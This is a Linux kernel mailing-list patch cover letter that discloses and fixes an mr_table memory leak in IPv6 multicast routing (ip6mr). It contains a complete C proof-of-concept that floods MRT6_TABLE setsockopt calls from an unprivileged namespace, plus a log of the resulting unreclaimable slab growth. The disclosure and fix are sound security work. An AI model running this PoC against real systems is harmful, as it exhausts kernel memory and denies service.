All of lore.kernel.org
 help / color / mirror / Atom feed
From: Zihan Xi <zihanx@nebusec.ai>
To: netdev@vger.kernel.org
Cc: David Ahern <dsahern@kernel.org>,
	Ido Schimmel <idosch@nvidia.com>,
	"David S . Miller" <davem@davemloft.net>,
	Eric Dumazet <edumazet@google.com>,
	Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
	Simon Horman <horms@kernel.org>,
	Patrick McHardy <kaber@trash.net>,
	linux-kernel@vger.kernel.org
Subject: [PATCH net v2 0/1] ipv6: ip6mr: fix mr_table leak from MRT6_TABLE
Date: Sat,  5 Sep 2026 16:30:06 +0000	[thread overview]
Message-ID: <cover.1788622674.git.zihanx@nebusec.ai> (raw)

Hi Linux kernel maintainers,

We found and validated a mr_table leak in net/ipv6/ip6mr.c. The bug is
reachable by a process with CAP_NET_ADMIN and CAP_NET_RAW in the target
user and net namespace, including via unshare -Urn.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

MRT6_TABLE is supposed to select an IPv6 multicast routing table id.
ip6_mroute_setsockopt() currently calls ip6mr_new_table() for every
unseen id and links the new mr_table into mr6_tables. ip6mr_sk_done()
only clears mroute_sk and flushes MIF/MFC state, so the table stays
published until the net namespace is torn down.

A raw ICMPv6 socket can therefore loop MRT6_TABLE(fresh id) without
MRT6_INIT, close the socket, and still leave the allocations behind.
The same hole exists after MRT6_TABLE plus a successful MRT6_INIT,
MRT6_ADD_MIF or MRT6_ADD_MFC: DONE or close still leaves an empty
non-default table in mr6_tables.

On an unfixed 7.3.0-rc1 kernel in a 2 vCPU, 2 GB QEMU VM, 30000 ids
grew Slab from 25696 kB to 148400 kB (+122704 kB) and SUnreclaim from
18108 kB to 140812 kB. setsockopt() still returned 0; that run did not
panic. The log below is from that kernel. There is no stack trace to
decode.

This behavior was introduced with multiple-table support. Later
changes only made the path easier to hit, so Fixes: still points at
commit d1db275dd3f6 ("ipv6: ip6mr: support multiple tables").

The patch keeps MRT6_TABLE as a selector: it only stores the chosen
id on the socket. The table is created later, under RTNL, when a
command actually needs it (MRT6_INIT, MRT6_ADD_MIF, MRT6_ADD_MFC, or
MRT6_ADD_MFC_PROXY). That matches existing users such as the ipmr
selftest, which issues MRT6_TABLE and then ADD_MIF without INIT.

The new table is published before INIT/ADD so a VIF or MFC notifier
cannot fire against a tb_id that dump cannot see yet. If that command
fails, the still-empty table is unlinked and freed in the same
syscall. After DONE, close, DEL_MIF, DEL_MFC, FLUSH or device
unregister, an empty non-default table is dropped from mr6_tables.
The device notifier only reclaims when this unregister actually
removed a VIF, so a nested pimreg unregister cannot destroy the table
twice. If DEL_MIF leaves unresolved MFC entries, the expire timer
later queues that reclaim onto RTNL. The default table is left in
place.

The leak is a setsockopt lifetime bug, not a packet-sequence bug, so
the reproducer is a raw ICMPv6 socket program rather than
packetdrill.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

setsockopt() still returns 0 after the fix, so compare Slab and
SUnreclaim in /proc/meminfo before and after. Take those numbers in a
persistent net namespace. unshare -Urn ./poc is enough to prove
reachability, but it destroys the namespace on exit, so the parent
/proc/meminfo cannot show the leftover tables.

The meminfo numbers below were taken with:

    ./poc 30000 1

On the unfixed 7.3.0-rc1 kernel the loop grows unreclaimable slab; on
the fixed kernel it does not.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/mroute6.h>
#include <netinet/icmp6.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

static void die(const char *msg)
{
	perror(msg);
	exit(1);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [count] [start_table]\n"
		"  count: number of new MRT6 table ids to allocate (default: 200000)\n"
		"  start_table: first table id to use (default: 1)\n",
		prog);
	exit(1);
}

int main(int argc, char **argv)
{
	unsigned int count = 200000;
	unsigned int start = 1;
	unsigned int i;
	int fd;

	if (argc > 3)
		usage(argv[0]);
	if (argc >= 2)
		count = strtoul(argv[1], NULL, 0);
	if (argc == 3)
		start = strtoul(argv[2], NULL, 0);

	if (count == 0 || start == 0 || start >= 100000000U)
		usage(argv[0]);

	fd = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
	if (fd < 0)
		die("socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)");

	for (i = 0; i < count; i++) {
		u_int32_t table = start + i;

		if (table >= 100000000U) {
			fprintf(stderr, "stopped before invalid table id %u\n", table);
			break;
		}

		if (setsockopt(fd, IPPROTO_IPV6, MRT6_TABLE, &table,
			       sizeof(table)) < 0) {
			fprintf(stderr,
				"setsockopt(MRT6_TABLE, %u) failed after %u allocations: %s\n",
				table, i, strerror(errno));
			close(fd);
			return 2;
		}

		if ((i % 10000) == 0) {
			struct rusage ru;

			if (!getrusage(RUSAGE_SELF, &ru))
				fprintf(stderr,
					"allocated=%u current_table=%u maxrss_kb=%ld\n",
					i + 1, table, ru.ru_maxrss);
			else
				fprintf(stderr, "allocated=%u current_table=%u\n",
					i + 1, table);
		}
	}

		fprintf(stderr,
			"done: allocated %u tables on one socket without MRT6_INIT; closing socket now\n",
			i);
	close(fd);
	sleep(2);
	fprintf(stderr, "socket closed; tables persist until netns teardown\n");
	return 0;
}
------END poc.c--------

----BEGIN crash log----
Linux syzkaller 7.3.0-rc1-00240-g641d03105cc0 #2 SMP PREEMPT_DYNAMIC Sat Sep  5 21:32:21 CST 2026 x86_64 GNU/Linux

./poc 30000 1

allocated=1 current_table=1 maxrss_kb=1188
allocated=10001 current_table=10001 maxrss_kb=1188
allocated=20001 current_table=20001 maxrss_kb=1188
done: allocated 30000 tables on one socket without MRT6_INIT; closing socket now
socket closed; tables persist until netns teardown
RET:0

before:
MemAvailable:    1907696 kB
Slab:              25696 kB
SUnreclaim:        18108 kB

after:
MemAvailable:    1810360 kB
Slab:             148400 kB
SUnreclaim:       140812 kB
-----END crash log-----

Best regards,
Zihan Xi


Zihan Xi (1):
  ipv6: ip6mr: fix mr_table leak from MRT6_TABLE

 net/ipv6/ip6mr.c | 327 ++++++++++++++++++++++++++++++++++++++++-------
 1 file changed, 280 insertions(+), 47 deletions(-)


base-commit: 641d03105cc0d2437e32fdeec164f91a4ccef6c4
-- 
2.43.0


             reply	other threads:[~2026-09-05 16:30 UTC|newest]

Thread overview: 4+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-09-05 16:30 Zihan Xi [this message]
2026-09-05 16:30 ` [PATCH net v2 1/1] ipv6: ip6mr: fix mr_table leak from MRT6_TABLE Zihan Xi
2026-09-06 18:19   ` Ido Schimmel
2026-09-07  3:28     ` zihan xi

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1788622674.git.zihanx@nebusec.ai \
    --to=zihanx@nebusec.ai \
    --cc=davem@davemloft.net \
    --cc=dsahern@kernel.org \
    --cc=edumazet@google.com \
    --cc=horms@kernel.org \
    --cc=idosch@nvidia.com \
    --cc=kaber@trash.net \
    --cc=kuba@kernel.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.